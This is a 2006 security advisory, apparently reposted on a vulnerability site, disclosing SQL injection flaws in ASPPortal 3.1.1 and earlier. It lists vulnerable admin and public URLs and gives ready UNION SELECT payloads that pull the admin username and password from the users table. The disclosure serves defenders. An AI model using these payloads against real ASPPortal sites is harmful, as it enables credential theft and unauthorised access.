ASPPortal <= 3.1.1 Multiple Remote SQL Injection Vulnerabilities

Credit: nukedx
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

--Security Report-- Advisory: ASPPortal <= 3.1.1 Multiple Remote SQL Injection Vulnerabilities --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 20/03/06 11:14 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com [email concealed] Web: } --- Vendor: ASPPortal ( Version: 3.1.1 and prior versions must be affected. About: There is lots of SQL injections in modules of ASPPortal via this methods remote attacker can inject arbitrary SQL queries.In below i included some with their examples and also coded exploit for second one exploit decrypts password which comes from SQL injection too, Because ASPPortal has it own crypting mechanism.As you can see in downloads module page download_click.asp's downloadid parameter and news module page News_Item.asp's content_ID parameter did not sanitized properly.Also there is some SQL injections in admin panel but for using them you need admin access.You can found them in below as ADMINGET and ADMINPOST tags. Level: Critical --- How&Example: GET -> http://[site]/apdir/content/downloads/download_click.asp?downloadid=[SQL Code] GET -> http://[site]/apdir/content/news/News_Item.asp?content_ID=[SQLCode] Example -> http://[site]/apdir/content/downloads/download_click.asp?downloadid=-1+U NION+SELECT+0,0,0,0,0,0,0,0,0,0, password+FROM+users+where+username='admin' Example -> http://[site]/apdir/content/news/News_Item.asp?content_ID=-1+UNION+SELEC T+username,password,0,0, group_id,email,0,0,0,0,0,0,0,0,0,0+FROM+users+where+username='admin' With this examples remote attacker could get admin's pass and can login from /content/users/login.asp ADMINGET -> http://[site]/apdir/content/users/add_edit_user.asp?page_type=2&user_id= [SQLCode] ADMINGET -> http://[site]/apdir/content/banner_adds/banner_add_edit.asp?pagetype=2&b annerid=[SQLCode] ADMINGET -> http://[site]/apdir/content/categories/add_edit_cat.asp?page_type=2&cat_ id=[SQLCode] ADMINGET -> http://[site]/apdir/content/News/add_edit_news.asp?page_type=2&Content_I D=[SQLCode] ADMINGET -> http://[site]/apdir/content/downloads/add_edit_download.asp?page_type=2& download_id=[SQLCode] ADMINGET -> http://[site]/apdir/content/poll/add_edit_poll.asp?page_type=2&Poll_ID=[ SQLCode] ADMINGET -> http://[site]/apdir/content/contactus/contactus_add_edit.asp?contactid=[ SQLCode]&pageid=2 ADMINGET -> http://[site]/apdir/content/poll/poll_list.asp?sortby=[SQLCode]&page_no= 1 ADMINPOST -> http://[site]/apdir/content/downloads/add_edit_download.asp?page_type=1 -- Timeline: * 20/03/2006: Vulnerability found. * 20/03/2006: Contacted with vendor and waiting reply. --- Exploit: --- References: --- Original advisory can be found at:

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top